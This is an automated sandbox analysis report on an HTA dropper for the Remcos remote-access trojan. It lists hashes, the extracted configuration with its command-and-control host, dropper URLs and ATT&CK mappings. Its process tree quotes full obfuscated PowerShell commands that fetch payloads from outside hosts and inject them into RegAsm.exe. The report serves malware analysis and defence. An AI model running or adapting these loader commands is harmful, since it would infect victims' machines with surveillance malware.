remcos | 2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26-09-2024 01:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2.hta
Size

115KB
MD5

d6a04e7ba31d063b7176e3f9fc96c46a
SHA1

e8929b14ea18c20d4a81ac3faf681031924c9d14
SHA256

2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2
SHA512

81fc9692f3e031cedbfd0623b69b21017504a8376e14ef3ee002b14517e857e45b07191bb84436e1bfebf1fa8fd6a375dc61716bebb253db2e4c015f740424b0
SSDEEP

96:Ea+M7XjJ7GJyXOVKBhqCJgqC8R7JR2JacLZL+dJAcAT:Ea+QXjJaJpKBgVOJEJwdJArT

Score

10^/10

remcos remotehost defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

ramcxx.duckdns.org:50312

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M3P7YT
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
16	4764	powershell.exe
24	3476	powershell.exe
32	3476	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3492	powershell.exe
3476	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
4764	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3476 set thread context of 1864	3476	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4764	powershell.exe
4764	powershell.exe
3492	powershell.exe
3492	powershell.exe
3476	powershell.exe
3476	powershell.exe
3476	powershell.exe
3476	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1864	RegAsm.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2776	3056	mshta.exe	82
PID 3056 wrote to memory of 2776	3056	mshta.exe	82
PID 3056 wrote to memory of 2776	3056	mshta.exe	82
PID 2776 wrote to memory of 4764	2776	cmd.exe	84
PID 2776 wrote to memory of 4764	2776	cmd.exe	84
PID 2776 wrote to memory of 4764	2776	cmd.exe	84
PID 4764 wrote to memory of 1436	4764	powershell.exe	85
PID 4764 wrote to memory of 1436	4764	powershell.exe	85
PID 4764 wrote to memory of 1436	4764	powershell.exe	85
PID 1436 wrote to memory of 444	1436	csc.exe	86
PID 1436 wrote to memory of 444	1436	csc.exe	86
PID 1436 wrote to memory of 444	1436	csc.exe	86
PID 4764 wrote to memory of 1504	4764	powershell.exe	87
PID 4764 wrote to memory of 1504	4764	powershell.exe	87
PID 4764 wrote to memory of 1504	4764	powershell.exe	87
PID 1504 wrote to memory of 3492	1504	WScript.exe	88
PID 1504 wrote to memory of 3492	1504	WScript.exe	88
PID 1504 wrote to memory of 3492	1504	WScript.exe	88
PID 3492 wrote to memory of 3476	3492	powershell.exe	90
PID 3492 wrote to memory of 3476	3492	powershell.exe	90
PID 3492 wrote to memory of 3476	3492	powershell.exe	90
PID 3476 wrote to memory of 840	3476	powershell.exe	98
PID 3476 wrote to memory of 840	3476	powershell.exe	98
PID 3476 wrote to memory of 840	3476	powershell.exe	98
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99
PID 3476 wrote to memory of 1864	3476	powershell.exe	99

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zw1t3udw\zw1t3udw.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1436
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESACCA.tmp" "c:\Users\Admin\AppData\Local\Temp\zw1t3udw\CSC44C01E80D90444D9A6C6A71454F8C389.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:444
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1504
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3492
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') | . ( $eNV:COmspEc[4,26,25]-jOiN'')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3476
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:840
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:1864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
8de6e146440c570aeb7528f63e882ffd

SHA1
f13d7dd96810ad6bd5e557f39e0f90a5e5612968

SHA256
90efeccc176d301601262a0e3d00e1c90ca1d91d3948e5e35f1a5f3bff253e77

SHA512
89f1c5f82a1ca9c5f2f7d3c420a925cfeb608bca0533d2bddaea1e60e8d4f1e99548ea5f97a26d729ef2b0756b2482cb5a49aab87e1a0a004652a82dc191ab65

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
c4eb57a5c9df8c1aa0d6012ab734d687

SHA1
deac5d76e337b407e1fcee02fe50f140f63d101e

SHA256
49e86ad3063f444d9db3eff381e3e23b830d0b5c0546d6a97292fb67fec5e80a

SHA512
36eddd08f2437085f874820a503ab800b92e0653f3914b0fea6132d47f97a95b9a1a8ec6c5689711d28a8b892e4b5613d11ef126c07b9e225bfe92289460d550

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESACCA.tmp

Filesize
1KB

MD5
24754a7aaf37ba3c13ab8ff9b6b45412

SHA1
19156db423c73b38196b48f3d16dcedd406271d6

SHA256
f0394d61913fdc24f7fe7832d2ce623faf437d4378e91285a8373e6907025b17

SHA512
bcfe64c1d982d8998e54537f35d3910d8b189cdb28c9d87ba430ac5c58ca2e972d8c4b349d790a8ceecbd126577828227d87b661b96d6273c4404365905cb21c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvp4205m.04l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zw1t3udw\zw1t3udw.dll

Filesize
3KB

MD5
7e9b6d5af263b132829a5a8e191f2af7

SHA1
2dca22619c381e8c9f712531cd3032a920cdfb97

SHA256
6ee954234db7f6e1f53f51c6bcfb202a95cb3454a330927b1fec4a01a1f740de

SHA512
4e67c70b3d93b6fab32824f71101b24d7a6af53f18968fff49a384edb1135c3ab4337c7d2a6d9505dbcac53c4a3f70ed44ff47f4cc3237f78cc5833ed4d23f79

Download Submit
C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs

Filesize
254KB

MD5
10a145cb87654a33c6c0beda947466b8

SHA1
a504192f1b5ac44e6e49b4bc9ef660220c604469

SHA256
80e7c85eeb0a57e9f50e7d84e0eb1b2f2230837b53080d24696fab7373e9bc03

SHA512
fbc4f71668b7af09338ae7060c04dd8feed091b3b7adb490647c92d731cefca4b1e929d36f750563ff0afa14b797984625eaf964f25a3f71b597343d79ec891a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zw1t3udw\CSC44C01E80D90444D9A6C6A71454F8C389.TMP

Filesize
652B

MD5
60e887940ac875b5f72cf8b6f8fd9420

SHA1
3ca6ac7b674d46a0ef3b12441f63a66c6c70b2ac

SHA256
82919edbebc15b1b1b36332326d7a7bfe37ace5901de0039e5ac16b4f38cc888

SHA512
775b7e7dc0da5654898833b2eebb07b67e03b59d5b342fda6c8fa3cc05ffbbeb2bcc7bb30003af4624c6dd8bcdb74cf63cae7e9ccd93d4e928fed958bf808783

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zw1t3udw\zw1t3udw.0.cs

Filesize
474B

MD5
f884800327d4027747da358d54a2953c

SHA1
b1d1103720a4787bb3cb5832461f367275978422

SHA256
13de24eeafc24c4a53199d015b92dd5ddcd552ceaa74fb14d2bbb26dc6366e9b

SHA512
cbfd55f5481da04f30d8590b64cc314751b158cbf775686a11f430b0619d069adc16c2a387fd1789b49a10aa760b4ab36cb12f96f21c4208abb89a5f0d52c520

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zw1t3udw\zw1t3udw.cmdline

Filesize
369B

MD5
64e39bb42840897369d060cf4e58725b

SHA1
5938d71d02a62f5ccd8c6fc08b785d1bb9fc65cf

SHA256
bc4f575b0881b5a4af96394b6e413495ab0459ab5561a1e38b04ad244e92043e

SHA512
1c4972469ac42163544dca9f08d9ad5ffa5e41fc92479f944b81da7ef0b28891ad57d9df7d451bc5c2a42496ad75d0720c39092dc220327b0218197c4ea9f21e

Download Submit
memory/1864-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-119-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-140-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-139-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-133-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-132-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-127-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-126-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-114-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-113-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1864-101-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3476-95-0x0000000007A80000-0x0000000007C8C000-memory.dmp

Filesize
2.0MB

Download
memory/3476-96-0x0000000007D40000-0x0000000007DDC000-memory.dmp

Filesize
624KB

Download
memory/4764-42-0x0000000007750000-0x000000000775E000-memory.dmp

Filesize
56KB

Download
memory/4764-44-0x00000000077A0000-0x00000000077BA000-memory.dmp

Filesize
104KB

Download
memory/4764-17-0x0000000005BE0000-0x0000000005F34000-memory.dmp

Filesize
3.3MB

Download
memory/4764-5-0x0000000005990000-0x00000000059F6000-memory.dmp

Filesize
408KB

Download
memory/4764-7-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-58-0x0000000007790000-0x0000000007798000-memory.dmp

Filesize
32KB

Download
memory/4764-64-0x0000000070E4E000-0x0000000070E4F000-memory.dmp

Filesize
4KB

Download
memory/4764-65-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-66-0x0000000007A50000-0x0000000007A72000-memory.dmp

Filesize
136KB

Download
memory/4764-67-0x00000000087F0000-0x0000000008D94000-memory.dmp

Filesize
5.6MB

Download
memory/4764-6-0x0000000005A70000-0x0000000005AD6000-memory.dmp

Filesize
408KB

Download
memory/4764-70-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-74-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-4-0x0000000005230000-0x0000000005252000-memory.dmp

Filesize
136KB

Download
memory/4764-3-0x0000000005360000-0x0000000005988000-memory.dmp

Filesize
6.2MB

Download
memory/4764-18-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

Download
memory/4764-45-0x0000000007790000-0x0000000007798000-memory.dmp

Filesize
32KB

Download
memory/4764-19-0x0000000006280000-0x00000000062CC000-memory.dmp

Filesize
304KB

Download
memory/4764-43-0x0000000007760000-0x0000000007774000-memory.dmp

Filesize
80KB

Download
memory/4764-0-0x0000000070E4E000-0x0000000070E4F000-memory.dmp

Filesize
4KB

Download
memory/4764-20-0x00000000067B0000-0x00000000067E2000-memory.dmp

Filesize
200KB

Download
memory/4764-41-0x0000000007720000-0x0000000007731000-memory.dmp

Filesize
68KB

Download
memory/4764-2-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-40-0x00000000077C0000-0x0000000007856000-memory.dmp

Filesize
600KB

Download
memory/4764-39-0x00000000075A0000-0x00000000075AA000-memory.dmp

Filesize
40KB

Download
memory/4764-37-0x0000000007BC0000-0x000000000823A000-memory.dmp

Filesize
6.5MB

Download
memory/4764-1-0x0000000004C00000-0x0000000004C36000-memory.dmp

Filesize
216KB

Download
memory/4764-38-0x0000000007540000-0x000000000755A000-memory.dmp

Filesize
104KB

Download
memory/4764-36-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-35-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/4764-33-0x00000000071B0000-0x00000000071CE000-memory.dmp

Filesize
120KB

Download
memory/4764-34-0x0000000007290000-0x0000000007333000-memory.dmp

Filesize
652KB

Download
memory/4764-23-0x000000006DA70000-0x000000006DDC4000-memory.dmp

Filesize
3.3MB

Download
memory/4764-22-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
